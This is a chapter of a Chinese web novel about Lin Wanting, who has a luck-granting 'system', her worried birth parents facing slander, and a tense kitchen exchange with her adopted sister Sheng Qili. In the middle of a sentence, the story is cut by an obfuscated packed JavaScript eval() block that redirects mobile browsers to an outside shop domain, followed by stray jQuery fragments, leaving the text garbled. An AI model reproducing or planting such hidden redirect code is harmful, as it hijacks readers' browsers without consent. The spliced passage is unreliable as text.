林婉霆一时间被喜悦冲昏了头脑,还有这等好事?
一千九的利润!啥概念啊,已经足够支付这个商场所有销售员一个月的薪水了吧!
林婉霆:所以你刚才卡带的原因是,正在计算利润吗?你是不是还能充当计算器?是不是可以随时叫你给我计算?这样一来,买东西的时候能给自己省不少功夫呢!
系统:【滋滋滋滋滋滋……】
林婉霆:等等,福运是啥?
系统:【我们管这个叫做锦鲤体制,怕你不懂,所以用福运值代替,宿主的福运值可以给自己和身边的人带来好运。】
林婉霆:哼,算你还有点用处。
现在可以自由支配的钱有三百一十元了,可以请叶美莲吃一顿西餐!
因此这一天,林婉霆不仅耗干了自由消费额度,还耗干了自己的精力。
天还没黑,两人回到家,上班的几位家庭成员都还没有回来,林婉霆已经累倒在沙发里,她仰躺着,看头顶的吊灯,长舒一口气。
妈妈这个时候在做什么呢?是不是已经开始去地里扯点青菜,然后洗一洗带去厨房给爸爸,爸爸炒上一盘香喷喷的菜。
爸爸今天会炒她爱吃的酸辣土豆丝吗?
-
“绣琴,想不想吃点辣椒炒肉?”林政闻报了好几道菜名都没听到回应,从厨房出来到处看了一圈,看见那个院子中央,坐在躺椅里的顾绣琴。
没听收音机也没看电视,像是睡着了。
林政闻从房间里取出来一张薄毯,走过来盖在顾绣琴身上。
林政闻:“入秋了,晚上凉。”
顾绣琴睁开眼,看了林政闻一眼,又闭上了,“饭做好了?”
林政闻:“哪有这么快,我这不是问你想吃什么菜嘛。”
顾绣琴推了推他,“随便吃点得了,丫头又不在,你还想整什么花样吗?”
“丫头不在,日子就不过啦?才过去五天,你看看你都瘦了。”林政闻摸摸顾绣琴脸颊。
“好像没有了奔头。”顾绣琴呼出一口气,打开了林政闻的手,脚下用了点力气,躺椅开始摇晃,“没有人天天吵着想吃这吃那,买这买那的,总觉得少了点乐趣。”
“她娘,我想吃广场那家豆腐馅饼,要不今晚不做饭了,我们去转转,散散心?”林政闻弯下腰,双手抄在顾绣琴腋下把人抱起来。
顾绣琴一巴掌朝林政闻肩膀呼过去,“想吃你自己去,我没心情。”
“最近退了几个大单,烦着呢。还有你那糟心事,李蔓那一家能离多远就离多远,上次你一个心软,不追究她的责任,你看看后面整出多少事儿。”
“还没你闺女会办事。”
顾绣琴越说越气不打一处来,伸手又给了林政闻几巴掌。
那天过后,本来要李蔓写个检讨书,结果钱安国跑来林政闻面前,替李蔓求了情。
钱安国当时声泪俱下,本身林政闻也就是个耳根子软的,钱安国的父亲早年救过林政闻的命,从水里捞出了不会水的林政闻,后来这些年,他们也从林政闻这得了不少好处的,包括想要和林婉霆结亲这件事。
虽然顾绣琴并没有答应,但林政闻模模糊糊的态度给了钱安国希望。
这次也是,钱安国声情并茂地一边说当年父亲救林政闻的时候如何如何一脚踩进了鬼门关,一边又说其实早就和李蔓私下定了终身,救李蔓,就是救他们一家。
林政闻当时赶紧跑到门口去看看顾绣琴在不在,顾绣琴要是在的话,非得给钱安国一个好看,前两天才把自己定的林婉霆未婚夫的身份卸下来,扭头就说和别人私定终身了。
他转过来好歹朝钱安国肩膀上踹了一脚,把人从凳子上掀翻过去,“我只说最后这一遍,我帮了李蔓这一次,今后再也不欠你们老钱家的情了,我们两家那点表亲关系也断个干净!”
所以当时在厂里就把这件事压下去了,虽然开除了李蔓,但没有叫她写检讨书,面子和清白是保住了的。按理说她要好好过日子,别再提这件事就成。
谁想到她们偏不安分,非要把事情闹大。
李蔓被钱安国介绍去了另一个厂子里工作,没过两天,林政闻猥亵小女孩的事情就被传了出去,还越传越离谱。
什么男人想重振夫纲啊,什么顾绣琴不能生的,恶言毒语铺天盖地就来了。
林政闻这些天忙着去跟当日来厂里的民政局副局长贺伦和那些治安员对接这件事,希望早日还他和他爱人一个公道。
明日李蔓的处罚结果又会下来,这次钱安国倒是没再舔着脸来求情了。
“明天我一定把事情处理好,然后我们后天早上,天不亮,爬起来就去湖城,看看闺女,怎么样?”林政闻朝顾绣琴讨笑道:“这样开心了吧?”
顾绣琴的表情总算缓和了些,自己劝说自己:“也是,生意黄了就黄了,挣钱又没个够,先看看她,回来以后再去拉合作商也成。”
“明天我不去厂里,你自己把你屁.股擦干净,我去给丫头买点吃的用的。”
-
林婉霆精神抖擞地起床,把昨晚一边哭一边写出来的信拿去投递到春华镇,跑回来的时候看见盛绮丽又在做早饭了。
这两天早上都是盛绮丽做饭,林婉霆感觉怪怪的,根据叶美莲先前说的话猜测,姐姐是不是因为不是他们的亲生女儿,所以在这个家里受尽了欺负和白眼?想到这,林婉霆不禁又有些可怜盛绮丽。
可是看盛绮丽这样高傲的样子,也不像是被欺负的那个啊。
“姐姐早上好呀。今天还要去公司吗?什么时候休息呀?”林婉霆跑到厨房,象征性地看看有没有自己能帮的忙。
厨房挺大的,是用的煤气灶,不需要林婉霆帮忙烧火,她就跑去橱柜里,拿沥水盆到水池里洗菜。
“今天吃面条吗?”林婉霆看盛绮丽在揉面,洗好西红柿,就凑到盛绮丽旁边看,“姐姐揉面好有劲儿啊,我其实可喜欢吃面了,但爸爸嫌揉面麻烦,就骗我说吃面容易长胖。”
“他这人就是这样,一边让我多吃点,一边又说我胖。”
盛绮丽停下动作,垂眸看她,手中的面团往案板上一放,面粉扑林婉霆一脸,林婉霆脑袋一缩,呛咳两声后,直起身愣愣看着盛绮丽。
“别捣乱。”盛绮丽终于开口。
林婉霆瞧着盛绮丽一脸不耐烦的样子,在心里猛翻白眼,自己真是菩萨心肠啊,还愿意热脸贴冷屁股,知足吧盛绮丽,还不是看你可怜才理理你,真不知道你哪来这么大气性。
放在以前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888041|212634||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,谁会给她这样的气受!林婉霆觉得自己像是正在打气的皮球,气打满了,自己就要砰砰砰地跳走了。
她正想给盛绮丽甩个脸子再转身就走,结果盛绮丽突然看着她的脸笑了一下,但只笑两秒,脸又垮下来,“脸脏了,自己擦擦。”
林婉霆看见盛绮丽一笑,她这个皮球这会儿就卸了气,软趴趴地落了地。
盛绮丽转过去继续揉面。
林婉霆心里好歹没那么膈应了,死皮赖脸蹭到盛绮丽旁边去,把手里的西红柿按在桌子上,靠近盛绮丽,问她:“姐姐,你是不是不开心?因为我吗?是不是我回来,对你造成了困扰?”
“你把西红柿按得稀巴烂,这样省得我切了。”盛绮丽不看她。
林婉霆赶紧取了一块干净菜板,把西红柿放上去,问盛绮丽:“切成小块还是片?”
“做汤面,你要是喜欢吃大块西红柿就切片,如果不喜欢吃,就切成丁,炒成沙。”盛绮丽道。
“嗯……”林婉霆思考,“那我切小点吧。”
盛绮丽转移话题,林婉霆果然立马就忘掉了先前的问题,“做汤面条还是汤面片呀?”
“……”
“我喜欢吃面片,面条也行,不知道妈妈喜欢吃什么,还要做爸爸和哥哥的吗?不过怎么总是不见他们人?”
林婉霆的爸爸妈妈称呼乱飞,她自己知道现在说的爸爸和刚才说的爸爸是不是一个爸爸,也没管盛绮丽能不能分清哪个爸爸的,
“为什么每天早上都是姐姐做饭呢?做完一大家子的饭还要去上班,真辛苦啊。”
“……”
盛绮丽又停下手上的动作,转过脸来。
盛绮丽比林婉霆高一点,两人离得近,盛绮丽本来就冷的脸色,微微垂着眸看着林婉霆,林婉霆忽然间感觉到脊背升腾起了一股凉意。
“你的话真多。”
盛绮丽深吸了一口气,依旧冷着嗓音,不疾不徐:“我没有不开心,妈找回了亲女儿,这是好事,我也鸠占鹊巢了这么久,这两天我找到房子就会搬出去,公司那边,我也会递上辞呈。在这里住的这几天,我会尽我所能弥补你的。”
盛绮丽穿的白衬衣,领口微微敞开,她说完这句话,不知道是急的,还是紧张的,心口一阵起伏。
她的气息喷在林婉霆的发饰上。
今天林婉霆扎了个侧编发,用绒花绕着脑袋绑了一圈,发饰上面细细的绒毛和林婉霆的睫毛一起都在颤动。
林婉霆突然感觉气不打一处来,怎么感觉她跟个第三者插足似的,她也不想突然挤进一个陌生的家庭里来,还害得自己家都四分五裂。
气得林婉霆差点笑了:“我发现你们一家人都特奇怪,不欢迎我的话我走就是了,我又不是没地方住了,谁稀罕跟你抢什么啊?说这些话膈应谁呢?还有啊,谁要你的弥补了?我又不需要。”
林婉霆是个急脾气,盛绮丽说的话不中听,但没大嗓门,林婉霆一急就扯着嗓子吼,叶美莲不知从哪里冒出来的,一把拉开了盛绮丽。
“不准跟妹妹吵架。”叶美莲冷着脸对盛绮丽道。
“她没跟我吵,是我跟她吵呢。”林婉霆去抱着叶美莲的手臂,不准她再拉盛绮丽,又气鼓鼓道:“小孩说话大人别插嘴!”